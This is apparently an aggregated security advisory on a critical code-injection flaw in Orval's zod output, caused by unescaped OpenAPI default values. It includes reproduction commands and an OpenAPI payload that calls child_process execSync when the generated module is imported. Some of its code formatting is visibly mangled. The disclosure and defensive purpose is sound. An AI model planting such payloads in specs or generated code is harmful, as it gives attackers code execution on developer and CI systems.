Listen to this Post
Orval is an open-source tool that generates type-safe JavaScript clients in TypeScript from OpenAPI v3 and Swagger v2 specifications. A critical vulnerability exists in versions prior to 8.21.0, where the zod schema generation module fails to properly sanitize default values before embedding them into generated code.
The root cause lies in the `formatDefaultValue` function within packages/zod/src/index.ts. When processing a query parameter default value containing JavaScript template literal syntax—such as `${…}` expressions or backticks—Orval directly interpolates this value into a module-level template literal within the output JavaScript file.
A malicious default of the form `v${export const …Default = \v${globalThis.ORVPWN()}w`;`, where `${…}` permits any arbitrary JS expression.
This vulnerability survives default OpenAPI validation and has been verified on Orval 8.19.0. The flaw aligns with CWE-94 (Improper Control of Generation of Code) and is also associated with CWE-116 (Improper Encoding or Escaping of Output) and CWE-1336 (Improper Neutralization of Special Elements Used in a Template Engine).
This is one of several default-bearing positions that reach the same unescaped zod template-literal sink; a single fix—escaping default values—closes all of them.
DailyCVE Form:
Platform: Orval
Version: < 8.21.0
Vulnerability: Code Injection
Severity: Critical
Date: 2026-08-19
Prediction: Already Patched (8.21.0)
What Undercode Say:
The vulnerability resides in the `formatDefaultValue` function, which lacks proper output encoding. Attackers can craft a malicious OpenAPI specification with a query parameter default containing `${…}` expressions.
Analytics:
Affected function location
packages/zod/src/index.ts -> formatDefaultValue()
Vulnerable code pattern (simplified)
export const ${name}Default = <code>${value}</code>; UNSAFE: value not escaped
Fixed approach
export const ${name}Default = ${JSON.stringify(value)};
Reproduction Steps:
1. Create malicious OpenAPI spec with payload
cat > make_spec.py << 'EOF'
Generates spec with v${globalThis.ORVPWN()}w as default
EOF
2. Generate zod schema
npx orval --input malicious_spec.yaml --output ./generated
3. Import the generated module - payload executes immediately
node -e "require('./generated/zod-schema')"
Exploit: (Educational Purposes!)
An attacker controlling or influencing the OpenAPI description can inject JavaScript into a query parameter default:
parameters:
- name: "x"
in: query
schema:
type: string
default: "v${globalThis.process.mainModule.require('child_process').execSync('id').toString()}w"
When Orval generates the zod schema:
export const xDefault = <code>v${globalThis.process.mainModule.require('child_process').execSync('id').toString()}w</code>;
Upon import, the `execSync(‘id’)` executes, revealing system information. The code runs with the privileges of the importing process—whether in development, CI, test, or application environment.
Protection:
- Upgrade to Orval version 8.21.0 or later immediately
- If immediate upgrade is impossible, avoid using OpenAPI specifications that include default values containing `${…}` or backticks
- Sanitize or remove these defaults before processing
- Validate any third-party specifications from untrusted sources; consider sandboxing
- Do not import generated code into environments where untrusted code could be executed
Impact:
- Remote Code Execution (RCE) at import time
- Affects developer, CI, test, and application environments
- CVSS 4.0 Score: 9.3 (Critical)
- Attackers can target the supply chain by modifying an OpenAPI spec
- No request or function call needed for exploitation
- Potential for full system compromise, data exfiltration, or lateral movement if development machine or CI runner has sensitive resource access
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
